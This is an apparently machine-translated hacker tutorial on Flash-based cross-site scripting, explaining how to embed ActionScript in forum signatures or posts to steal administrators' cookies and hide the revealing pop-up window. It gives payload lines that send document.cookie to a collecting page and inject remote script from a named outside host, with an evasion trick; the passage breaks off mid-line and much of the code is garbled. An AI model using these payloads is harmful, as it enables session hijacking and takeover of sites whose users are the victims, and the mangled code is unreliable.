By: Ice Fryer http://www.icyfoxlovelace.com
I have been busy learning Win32 compilation, I have been too lazy to write articles. These days seem to be very fierce, but the pop-up IE window when I implement Flash cross-station attack, it is easy to cause others. The Flash cross-station attack failed, which is indeed a little headache. Do you have been looking for a method of implementing the IE window when I implement a Flash cross-station attack? How to hide your attack behavior? Let's let me solve this unclear problem with me, let Flash cross-station attack more perfect!
Generally speaking, everyone is a flash animation yourself when performing Flash cross-station attacks, and adds the batscript scripting function used to jump to other URLs in the first frame, as follows:
GETURL ("JavaScript: Window.Open ('http: // is used to collect cookie's web address?' Document.cookie", "_ Self")
Then put this Flash animation in the signature, post or SMS message, used to get the administrator or user cookie, so as to obtain administrative privileges, further access to the entire site, and finally achieve its own purpose. We can see that the most important thing throughout the cross-site attack is this ationcript script! That is, the code used in this script opened a window we love and hated, so we can only hide the script code to hide or remove the pop-up IE window, in addition to there is no way!
Let's first analyze the above ationscript script, which uses the ationscript script function "getURL" jump to a URL using the JavaScript protocol (the JavaScript protocol is the JavaScript script code we are very familiar with), using Document.cookie in JavaScript to cookie And connect cookies and a web page address for collecting cookie into a URL address of an HTTP protocol, and finally open the synthetic URL address using Window.Open to send cookies to the GET method to collect cookie webpages, and record Down.
Through the above analysis, let's further understand the pop-up IE window is generated by the code Window.Open in the JavaScript protocol. I believe that everyone knows that the second parameter of Window.Open is used to specify the name of the open window, its universal name There is "_media (IE6.0 opens in the media panel on the left side of the browser)", "_ Blank is open in the new window)", "_ Parent (open within the parent framework of the current frame. If the current frame is free, this The parameter value is equivalent to _self) "," _ search (IE5.0 opens in the search panel on the left side of the browser) ", _ Self (Open in the current window, override the current document)", _ TOP (outside all frames Open in the top window. If the current window has no frame structure, this parameter value is equivalent to _self) ", if we open the window with" _search ", don't you have a pop-up IE window? Ationscript script is changed to:
GETURL ("JavaScript: WINDOWT ('http: // is used to collect the cookie web page address?' Document.cookie, '_ search')", "_ self") Of course, this will open the search panel, which will also cause Doubt, but you can escape the chasing of closing the pop-up window software! Aunt, it's also a way!
If it is just above, I believe that many readers want to take me. . . . . .
Seeing the intelligent do you think of the idea of solving? Correct! Since supporting JavaScript, is there anything in the East Can't solve it? JavaScript is really beneficial!
If you have read my article "Building a Perfect IE Wood Trojan", and you can understand the code, you can imagine yourself first! Ha ha......
In that article, there is such a code below:
Jsurl = "http://www.godog.y365.com/wodemuma/ix.js" .Replace (g, '//');
Window.open ("File: JavaScript: Document.all.tags ('script') [0] .SRC = '" JSURL "; Eval ();", "icyfoxLoveland);
Using the JavaScript protocol to insert a JS code file on your website into a local file, we can also use it to insert a JS code file into the forum page for cross-site attacks, the corresponding batscript script is changed to:
GETURL ("JavaScript: Document.all.Tags ('script') [0] .src = 'http: www.godog.y365.com//wodemuma//icyfox.js'; Eval ();", "_ Self" )
Where Icyfox.js obtains the following:
CookieURL = "http: // Used to collect cookie's web address? cookie =" escape (document.cookie);
/ * Here you use escape () to cookie, used to prevent some special characters in cookies * /
Document.body.insertadjacenthtml ('Beforend', '
